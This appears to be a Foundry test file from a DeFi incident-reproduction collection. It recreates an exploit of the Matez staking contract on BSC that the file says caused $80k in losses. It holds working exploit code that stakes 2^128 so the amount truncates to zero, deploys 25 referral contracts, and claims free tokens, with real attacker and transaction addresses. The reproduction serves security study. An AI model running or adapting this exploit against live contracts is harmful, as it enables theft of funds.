src/test/2024-11/Matez_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : 80k USD
7// Attacker : https://bscscan.com/address/0xd4f04374385341da7333b82b230cd223143c4d62
8// Attack Contract : https://bscscan.com/address/0x0aD02ce1b8EB978FD8dc4abeC5bf92Dfa81Ed705
9// Vulnerable Contract : https://bscscan.com/address/0x326FB70eF9e70f8f4c38CFbfaF39F960A5C252fa
10// Attack Tx : https://bscscan.com/tx/0x840b0dc64dbb91e8aba524f67189f639a0bc94ee9256c57d79083bb3fd46ec91
11 
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x326FB70eF9e70f8f4c38CFbfaF39F960A5C252fa#code
14 
15// @Analysis
16// Post-mortem : N/A
17// Twitter Guy : https://x.com/TenArmorAlert/status/1859830885966905670
18// Hacking God : N/A
19pragma solidity ^0.8.0;
20 
21address constant MATEZ_STAKING_PROG = 0x326FB70eF9e70f8f4c38CFbfaF39F960A5C252fa;
22address constant MATEZ_TOKEN = 0x010C0D77055A26D09bb474EF8d81975F55bd8Fc9;
23 
24contract Matez is BaseTestWithBalanceLog {
25    uint256 blocknumToForkFrom = 44222632 - 1;
26 
27    function setUp() public {
28        vm.createSelectFork("bsc", blocknumToForkFrom);
29        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
30        fundingToken = MATEZ_TOKEN;
31    }
32 
33    function testExploit() public balanceLog {
34        //implement exploit code here
35 
36        // due to the integer truncation problem, the following number will be truncated to 0,
37        // This flaw allowed the attacker to transfer a zero amount of tokens while 
38        // being recognized by the contract as having staked a large amount. 
39        uint256 amount = 340282366920938463463374607431768211456;
40        IMatez matez = IMatez(MATEZ_STAKING_PROG);
41 
42        // register current contract
43        address sponsor = 0x80d93e9451A6830e9A531f15CCa42Cb0357D511f;
44        matez.register(sponsor);
45        matez.stake(amount);
46 
47        // create enough referrals to enable claim
48        for (uint256 i = 0; i < 25; i++) {
49            new AttackContract(address(this), amount);
50        }
51 
52        // claim free MATEZ token and sell it later
53        IMatez(MATEZ_STAKING_PROG).claim(uint40(3), uint40(1), 0);
54 
55        // keep repeat this process to get more MATEZ token for free
56    }
57}
58 
59contract AttackContract {
60    constructor(address sponsor, uint256 amount) {
61        IMatez matez = IMatez(MATEZ_STAKING_PROG);
62        matez.register(sponsor);
63        matez.stake(amount);
64    }
65}
66 
67interface IMatez {
68    function register(address _sponsor) external;
69    function stake(uint256 amnt) external;
70    function claim(uint40 typ, uint40 pkgid, uint256 amount) external;
71}